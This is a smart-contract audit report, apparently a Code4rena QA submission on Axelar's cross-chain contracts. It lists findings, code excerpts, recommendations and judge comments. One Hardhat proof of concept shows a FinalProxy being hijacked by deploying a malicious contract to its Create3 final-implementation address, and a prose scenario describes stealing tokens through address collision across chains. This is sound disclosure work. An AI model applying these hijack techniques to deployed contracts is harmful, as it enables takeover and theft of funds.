NC-02InterchainGovernance can be abstract
NC-03eta in ProposalCancelled event can be missleading
NC-04incomplete natspec
NC-05erroneous comments
NC-06typos and misspellings

Low

L-01 FinalProxy can be hijacked by vulnerable implementation contract

FinalProxy is a proxy that can be upgraded but if owner calls finalUpgrade it will deploy the final upgrade using Create3 and it can no longer be upgraded.

To determine if it has gotten the final upgrade or not the function _finalImplementation is done:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/gmp-sdk/upgradable/FinalProxy.sol#L18

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/gmp-sdk/upgradable/FinalProxy.sol#L57-L64

File: gmp-sdk/upgradable/FinalProxy.sol

18:    bytes32 internal constant FINAL_IMPLEMENTATION_SALT = keccak256('final-implementation');

...

57:    function _finalImplementation() internal view virtual returns (address implementation_) {
58:        /**
59:         * @dev Computing the address is cheaper than using storage
60:         */
61:        implementation_ = Create3.deployedAddress(address(this), FINAL_IMPLEMENTATION_SALT);
62:
63:        if (implementation_.code.length == 0) implementation_ = address(0);
64:    }

The issue is that if the implementation supports deploying with Create3 a user could use the salt (keccak256('final-implementation')) and deploy a final implementation without calling finalImplementation. Since Create3 only uses msg.sender and salt to determine the address.

InterchainTokenService which is the only implementation in scope using FinalProxy does however not appear to be vulnerable to this, since all the salts used for deploys are calculated, not supplied. But future implementations/other contracts using FinalProxy might be.

PoC

Test in proxy.js:

        it('vulnerable FinalProxy implementation', async () => {
            const vulnerableDeployerFactory = await ethers.getContractFactory('VulnerableDeployer', owner);
            const maliciousContractFactory = await ethers.getContractFactory('MaliciousContract', owner);
            const vulnerableImpl = await vulnerableDeployerFactory.deploy().then((d) => d.deployed());

            const proxy = await finalProxyFactory.deploy(vulnerableImpl.address, owner.address, '0x').then((d) => d.deployed());
            expect(await proxy.isFinal()).to.be.false;

            const vulnerable = new Contract(await proxy.address, VulnerableDeployer.abi, owner);

            // steal final-implementation salt
            const salt = keccak256(toUtf8Bytes('final-implementation'));

            // someone deploys to the final-implementation address
            const bytecode = await maliciousContractFactory.getDeployTransaction().data;
            await vulnerable.vulnerableDeploy(salt,bytecode);

            // proxy is final without calling finalUpgrade
            expect(await proxy.isFinal()).to.be.true;
            const malicious = new Contract(await proxy.address, MaliciousContract.abi, owner);
            expect(await malicious.maliciousCode()).to.equal(4);
        });

VulnerableDeployer.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Create3 } from '../deploy/Create3.sol';

contract MaliciousContract {

    function setup(bytes calldata params) external {}
    
    function maliciousCode() public pure returns(uint256) {
        return 4;
    }
}

contract VulnerableDeployer {

    function setup(bytes calldata params) external {}
    
    function vulnerableDeploy(bytes32 salt, bytes memory bytecode) public returns(address ) {
        return Create3.deploy(salt, bytecode); 
    }
}
Recommendation

Have the user deploy the final implementation and then upgrade to it without using Create3. That way a vulnerable implementation contract cannot be abused and taken over.

L-02 A users tokens can be stolen if they don't control msg.sender address on all chains

When a user wants to register a token for use across chains they first call InterchainTokenService::deployAndRegisterStandardizedToken on the "local" chain. This will use a user provided salt together with the msg.sender to create the tokenId which is used as the salt to create both the StandardizedToken and the TokenManager.

They can then use this to deploy their token to any chain that Axelar supports.

Relying on msg.sender across chain comes with some security considerations though. If the user/protocol don't control the address used as msg.sender across all chains that are supported by Axelar ITS to they are susceptible to the same hack that affected wintermute. Where an old gnosis wallet was used which had an address that could be stolen on another chain.

If an attacker controls the msg.sender address on another chain they can simply create a token and manager with the same salt that they control. This will give them the same tokenId. They can then send a message to the chain where the real token is and get funded real tokens. All they've done is burn/lock their fake token on their sourceChain.

Recommendation

I recommend this is highlighted as a risk in the documentation so third party protocols building on top of Axelar are aware of this risk.

L-03 no event emitted when a vote is cast in MultisigBase

To vote in MultisigBase a signer submits the same data as the proposal. Then this data is hashed into a proposal id (topic) which has its votes tracked, when enough votes are cast the proposal passes:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/auth/MultisigBase.sol#L51-L63

File: cgp/auth/MultisigBase.sol

51:        if (voting.hasVoted[msg.sender]) revert AlreadyVoted();
52:
53:        voting.hasVoted[msg.sender] = true;
54:
55:        // Determine the new vote count.
56:        uint256 voteCount = voting.voteCount + 1;
57:

           // @audit no event emitted to track votes

58:        // Do not proceed with operation execution if insufficient votes.
59:        if (voteCount < signers.threshold) {
60:            // Save updated vote count.
61:            voting.voteCount = voteCount;
62:            return;
63:        }

However there is no event emitted for when a vote is cast. This makes it difficult to track voting off chain. Which is important for transparency and for users and signers to know what topics are going on. topics can also only be tracked by their hashed value, hence emitting this will help users to query on-chain for specific votes.

Recommendation

Add an event for when a vote is cast, containing signer, topic and voteCount.

L-04 InterchainTokenService non-remote deploy calls accept eth but are not using it

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L309

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L347

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L395

In InterchainTokenService the calls to deploy on the local chain are payable but do not use the eth provided. deployCustomTokenManager as an example:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L343-L352

File: its/interchain-token-service/InterchainTokenService.sol

343:    function deployCustomTokenManager(
344:        bytes32 salt,
345:        TokenManagerType tokenManagerType,
346:        bytes memory params
347:    ) public payable notPaused returns (bytes32 tokenId) { // <-- payable
348:        address deployer_ = msg.sender;
349:        tokenId = getCustomTokenId(deployer_, salt);
350:        _deployTokenManager(tokenId, tokenManagerType, params);
351:        emit CustomTokenIdClaimed(tokenId, deployer_, salt);
352:    }

However, none of the deploy functions use any eth though. A user could accidentally send eth here that would be stuck in the contract.

Recommendation

Consider removing payable from registerCanonicalToken deployCustomTokenManager and deployAndRegisterStandardizedToken. payable could also be removed from TokenManagerDeployer::deployTokenManager and StandardizedTokenDeployer::deployStandardizedToken as they also do not consume any eth.

L-05 default values for deployAndRegisterStandardizedToken can make it complicated for third party implementers

When calling InterchainTokenService to deploy a StandardizedToken a user supplies some parameters for the setup.

For mintTo for a possible initial mint when setting up the token and operator for the TokenManager however msg.sender is used:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L395-L402

File: its/interchain-token-service/InterchainTokenService.sol

395:    ) external payable notPaused {
396:        bytes32 tokenId = getCustomTokenId(msg.sender, salt);
            //                                             here msg.sender is used for mintTo ↓↓↓↓↓↓↓↓↓↓↓
397:        _deployStandardizedToken(tokenId, distributor, name, symbol, decimals, mintAmount, msg.sender);
398:        address tokenManagerAddress = getTokenManagerAddress(tokenId);
399:        TokenManagerType tokenManagerType = distributor == tokenManagerAddress ? TokenManagerType.MINT_BURN : TokenManagerType.LOCK_UNLOCK;
400:        address tokenAddress = getStandardizedTokenAddress(tokenId);
            //                 here msg.sender is used for `operator` ↓↓↓↓↓↓↓↓↓↓
401:        _deployTokenManager(tokenId, tokenManagerType, abi.encode(msg.sender.toBytes(), tokenAddress));
402:    }

This can make it more complicated for third parties to develop on top of the InterchainTokenService as they have to keep in mind that the contract calling will be operator and possibly the receiver of any initial mint.

Recommendation

Consider adding mintTo and operator as parameters that can be passed to the call

L-06 InterchainTokenServiceProxy is FinalProxy

InterchainTokenServiceProxy inherits from FinalProxy, this makes it possible for owner to accidentally upgrade InterchainTokenService to an un-upgradable version.

PoC

Test in tokenService.js:

    describe('Final Upgrade Interchain Token Serivce', () => {
        it('should upgrade to new token service', async () => {
            const factory = await ethers.getContractFactory("UpgradedITS", wallet);
            const bytecode = await factory.getDeployTransaction().data;
            const finalProxy = new Contract(await service.address, FinalProxy.abi, wallet);
            await finalProxy.finalUpgrade(bytecode,'0x');

            expect(await finalProxy.isFinal()).to.equal(true);

            // contract is final
            const upgradedITS = new Contract(await service.address, UpgradedITS.abi, wallet);
            expect(await upgradedITS.foo()).to.equal(4);
        });
    });

UpgradedITS.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Upgradable } from '../../gmp-sdk/upgradable/Upgradable.sol';

contract UpgradedITS is Upgradable {

    bytes32 private constant CONTRACT_ID = keccak256('interchain-token-service');

    function contractId() external pure returns (bytes32) {
        return CONTRACT_ID;
    }

    function _setup(bytes calldata ) internal override {}

    function foo() public pure returns(uint256) {
        return 4;
    }
}
Recommendation

Consider inheriting from Proxy instead of FinalProxy.

L-07 low level call will always succeed for non existent addresses

https://docs.soliditylang.org/en/latest/control-structures.html#error-handling-assert-require-revert-and-exceptions:

The low-level functions call, delegatecall and staticcall return true as their first return value if the account called is non-existent, as part of the design of the EVM. Account existence must be checked prior to calling if needed.

Calls are done in these instances:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/util/Caller.sol#L18

File: cgp/util/Caller.sol

18:        (bool success, ) = target.call{ value: nativeValue }(callData);

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/interchain-governance-executor/InterchainProposalExecutor.sol#L76

File: interchain-governance-executor/InterchainProposalExecutor.sol
76:            (bool success, bytes memory result) = call.target.call{ value: call.value }(call.callData);

This is mentioned in the Automated findings report but the instances identified are wrong: https://gist.github.com/thebrittfactor/c400e0012d0092316699c53843ecad41#low-23-contract-existence-is-not-checked-before-low-level-call

Recommendation

Where applicable, consider adding a check if there is code on the target.

L-08 InterchainTokenService::getImplementation returns address(0) for invalid types

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L223-L233

File: its/interchain-token-service/InterchainTokenService.sol

223:    function getImplementation(uint256 tokenManagerType) external view returns (address tokenManagerAddress) {
224:        // There could be a way to rewrite the following using assembly switch statements, which would be more gas efficient,
225:        // but accessing immutable variables and/or enum values seems to be tricky, and would reduce code readability.
226:        if (TokenManagerType(tokenManagerType) == TokenManagerType.LOCK_UNLOCK) {
227:            return implementationLockUnlock;
228:        } else if (TokenManagerType(tokenManagerType) == TokenManagerType.MINT_BURN) {
229:            return implementationMintBurn;
230:        } else if (TokenManagerType(tokenManagerType) == TokenManagerType.LIQUIDITY_POOL) {
231:            return implementationLiquidityPool;
232:        }
233:    }

Other integrations can rely on this and returning address(0) for the implementation contract can break their integrations.

Recommendation

Consider reverting with Invalid TokenManagerType or similar.

L-09 consider a two way transfer of governance

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/AxelarGateway.sol#L254-L258

File: cgp/AxelarGateway.sol

254:    function transferGovernance(address newGovernance) external override onlyGovernance {
255:        if (newGovernance == address(0)) revert InvalidGovernance();
256:
257:        _transferGovernance(newGovernance);
257:    }

The governance address has complete control over the AxelarGatway since it can do upgrades.

Recommendation

Consider implementing a two way (propose/accept) change procedure for it to avoid accidentally handing it over to the wrong address.

L-10 consider a two way transfer of operator and distributor

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/utils/Distributable.sol#L51-L53

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/utils/Operatable.sol#L51-L53

File: its/utils/Operatable.sol

51:    function setOperator(address operator_) external onlyOperator {
52:        _setOperator(operator_);
53:    }

(the exact same code is in Distributable as well)

As these are powerful roles in for tokens/token managers.

Recommendation

Consider implementing a two way (propose/accept) change procedure for it to avoid accidentally handing it over to the wrong address.

Suggestions

S-01 Consider adding a version to upgradable contracts

That way a user can query a contract and see if it is upgraded or not.

Refactor

R-01 sourceAddress means two different things in InterchainTokenService

In the function _execute which is the entrypoint from AxelarExecutor, sourceAddress means the source for the cross chain call, i.e the sourceChain address of that InterchainTokenSerivce contract:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L575-L579

File: its/interchain-token-service/InterchainTokenService.sol

575:    function _execute(
576:        string calldata sourceChain,
577:        string calldata sourceAddress, // <-- `sourceAddress` is which contract initiated the cross chain instruction
578:        bytes calldata payload
579:    ) internal override onlyRemoteService(sourceChain, sourceAddress) notPaused {

Elsewhere in the code, in _processSendTokenWithDataPayload, transmitSendToken, expressReceiveTokenWithData the meaning of sourceAddress has changed to which address the transferred tokens originate from:

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L622-L640

File: its/interchain-token-service/InterchainTokenService.sol

622:    function _processSendTokenWithDataPayload(string calldata sourceChain, bytes calldata payload) internal {
623:        bytes32 tokenId;
624:        uint256 amount;
625:        bytes memory sourceAddress; // <-- `sourceAddress` is from which address the tokens originate

...

633:        {
634:            bytes memory destinationAddressBytes;
635:            (, tokenId, destinationAddressBytes, amount, sourceAddress, data) = abi.decode(
636:                payload,
637:                (uint256, bytes32, bytes, uint256, bytes, bytes)
638:            );
639:            destinationAddress = destinationAddressBytes.toAddress();
640:        }

This can cause confusion and as sourceAddress in the context of _execute is a critical for security checks to trust the call it could be risky if these are confused for eachother.

Recommendation

Consider changing the token transfer source to tokenSenderAddress for it to be clear what it means.

R-02 InterchainTokenService::_validateToken could have a more descriptive name

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L726-L738

File: its/interchain-token-service/InterchainTokenService.sol

726:    function _validateToken(address tokenAddress)
727:        internal
728:        returns (
...
732:        )
733:    {
734:        IERC20Named token = IERC20Named(tokenAddress);
735:        name = token.name();
736:        symbol = token.symbol();
737:        decimals = token.decimals();
738:    }

_validateToken doesn't do any actual validation. Could be renamed to _getTokenData or similar.

R-03 AxelarGateway::onlyMintLimiter could have a more descriptive name

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/AxelarGateway.sol#L87-L88

File: cgp/AxelarGateway.sol

87:    modifier onlyMintLimiter() {
88:        if (msg.sender != getAddress(KEY_MINT_LIMITER) && msg.sender != getAddress(KEY_GOVERNANCE)) revert NotMintLimiter();

onlyMintLimiter could be named onlyMintLimiterOrGov since this is what it verifies.

Non critical/Informational

NC-01 RemoteAddressValidator::_lowerCase will not work for Solana addresses

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L54-L61

File: its/remote-address-validator/RemoteAddressValidator.sol

54:    function _lowerCase(string memory s) internal pure returns (string memory) {
55:        uint256 length = bytes(s).length;
56:        for (uint256 i; i < length; i++) {
57:            uint8 b = uint8(bytes(s)[i]);
58:            if ((b >= 65) && (b <= 70)) bytes(s)[i] = bytes1(b + uint8(32));
59:        }
60:        return s;
61:    }

This converts an address to lowercase (65-70 -> A-F). Solana addresses however are base58 encoded versions of a 32 byte array. Thus they first have more letters and converting it to lowercase will make it another address.

Recommendation

Consider changing this before adding solana as a supported chain

NC-02 InterchainGovernance can be abstract

As the contract is not complete on its own I recommend making it abstract to convey that it is supposed to be extended.

NC-03 eta in ProposalCancelled event can be misleading

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/governance/InterchainGovernance.sol#L135

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/governance/AxelarServiceGovernance.sol#L94

File: cgp/governance/AxelarServiceGovernance.sol

94:            emit ProposalCancelled(proposalHash, target, callData, nativeValue, eta);

The eta here can be misleading as it might not be the eta of the event. The user can send what they want here. And if it is the correct eta that the user used to schedule it can still have been changed when scheduling the Timelock.

Recommendation

Consider either reading the eta before clearing it in _cancelTimeLock or don't include the eta in the event at all.

NC-04 incomplete natspec

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L411-L424

File: its/interchain-token-service/InterchainTokenService.sol

411:     * @param distributor the address that will be able to mint and burn the deployed token.
412:     * @param destinationChain the name of the destination chain to deploy to.
413:     * @param gasValue the amount of native tokens to be used to pay for gas for the remote deployment. At least the amount
414:     * specified needs to be passed to the call
415:     * @dev `gasValue` exists because this function can be part of a multicall involving multiple functions that could make remote contract calls.
416:     */
417:    function deployAndRegisterRemoteStandardizedToken(
418:        bytes32 salt,
419:        string calldata name,
420:        string calldata symbol,
421:        uint8 decimals,
422:        bytes memory distributor,
423:        bytes memory operator, // <-- operator missing from NatSpec
424:        string calldata destinationChain,

@param operator is missing from NatSpec

NC-05 erroneous comments

TokenManagerProxy.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/proxies/TokenManagerProxy.sol#L8-L13

File: its/proxies/TokenManagerProxy.sol

 8:/**
 9: * @title TokenManagerProxy
10: * @dev This contract is a proxy for token manager contracts. It implements ITokenManagerProxy and
11: * inherits from FixedProxy from the gmp sdk repo
12: */
13:contract TokenManagerProxy is ITokenManagerProxy {

It does not inherit from FixedProxy.

InterchainProposalExecutor.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/interchain-governance-executor/InterchainProposalExecutor.sol#L19-L22

File: interchain-governance-executor/InterchainProposalExecutor.sol

19: *
20: * This contract is abstract and some of its functions need to be implemented in a derived contract.
21: */
22:contract InterchainProposalExecutor is IInterchainProposalExecutor, AxelarExecutable, Ownable {

The contract is not abstract at all.

AxelarGateway.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/cgp/AxelarGateway.sol#L40-L41

File: cgp/AxelarGateway.sol

40:    /// @dev Storage slot with the address of the current governance. `keccak256('mint-limiter') - 1`.
41:    bytes32 internal constant KEY_MINT_LIMITER = bytes32(0x627f0c11732837b3240a2de89c0b6343512886dd50978b99c76a68c6416a4d92);

Should say address of the current mint limiter not governance

RemoteAddressValidator.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L24-L27

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/remote-address-validator/RemoteAddressValidator.sol#L40-L41

File: its/remote-address-validator/RemoteAddressValidator.sol

24:     * @dev Constructs the RemoteAddressValidator contract, both array parameters must be equal in length
...
27:    constructor(address _interchainTokenServiceAddress) {

...

40:    function _setup(bytes calldata params) internal override {
41:        (string[] memory trustedChainNames, string[] memory trustedAddresses) = abi.decode(params, (string[], string[]));

both array parameters must be equal in length should be for the _setup call not the constructor

NC-06 typos and misspellings

InterchainTokenService.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L380

File: its/interchain-token-service/InterchainTokenService.sol

380:     * can be calculated ahead of time) then a mint/burn TokenManager is used. Otherwise a lock/unlcok TokenManager is used.
                                                                                                 -> unlock

Also apprears at:

InterchainToken.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token/InterchainToken.sol#L28

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token/InterchainToken.sol#L40

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token/InterchainToken.sol#L76

File: its/interchain-token/InterchainToken.sol

28:     * TokenManager specifically to do it permissionlesly.
                                          -> permissionlessly

40:     * @param amount The amount of token to be transfered.
                                               -> transferred

76:     * @param amount The amount of token to be transfered.
                                               -> transferred
InterchainTokenService.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L159

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L496

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L500

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interchain-token-service/InterchainTokenService.sol#L559

File: its/interchain-token-service/InterchainTokenService.sol

159:     * @return tokenManagerAddress deployement address of the TokenManager.
                                    -> deployment

496:     * @param sourceAddress the address where the token is coming from, which will also be used for reimburment of gas.
                                                                                                     -> reimbursement

500:     * @param metadata the data to be passed to the destiantion.
                                                     -> destination

559:    function _sanitizeTokenManagerImplementation(address[] memory implementaions, TokenManagerType tokenManagerType)
                                                                   -> implementations
TokenManager.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L78

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L103

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/token-manager/TokenManager.sol#L159

File: its/token-manager/TokenManager.sol

 78:     * @notice Calls the service to initiate the a cross-chain transfer after taking the appropriate amount of tokens from the user.
                                              -> a cross-chain ...

103:     * @notice Calls the service to initiate the a cross-chain transfer with data after taking the appropriate amount of tokens from the user.
                                              -> a cross-chain ...

159:     * @return the amount of token actually given, which will onle be differen than `amount` in cases where the token takes some on-transfer fee.
                                                               -> only -> different
TokenManagerProxy.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/proxies/TokenManagerProxy.sol#L73

File: its/proxies/TokenManagerProxy.sol

73:        address implementaion_ = implementation();
                -> implementation
IInterchainTokenExecutable.sol, IInterchainTokenExpressExecutable.sol

https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interfaces/IInterchainTokenExecutable.sol#L16

File: its/interfaces/IInterchainTokenExecutable.sol

16:     * @param tokenId the tokenId of the token manager managing the token. You can access it's address by querrying the service
                                                                                                          -> querying

Same in https://github.com/code-423n4/2023-07-axelar/blob/main/contracts/its/interfaces/IInterchainTokenExpressExecutable.sol#L18

#0 - c4-pre-sort

2023-07-29T01:04:52Z

0xSorryNotSorry marked the issue as high quality report

#1 - deanamiel

2023-08-31T00:14:33Z

InterchainProposalExecutor is not abstract. We updated the NatSpec documentation. See PR here

#2 - c4-judge

2023-09-08T11:45:46Z

berndartmueller marked the issue as grade-a

#3 - c4-judge

2023-09-08T12:18:26Z

berndartmueller marked the issue as selected for report

#4 - berndartmueller

2023-09-08T12:25:41Z

Excellent and thorough QA report submitted by the warden!

I agree with the outlined findings and their chosen severity.

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter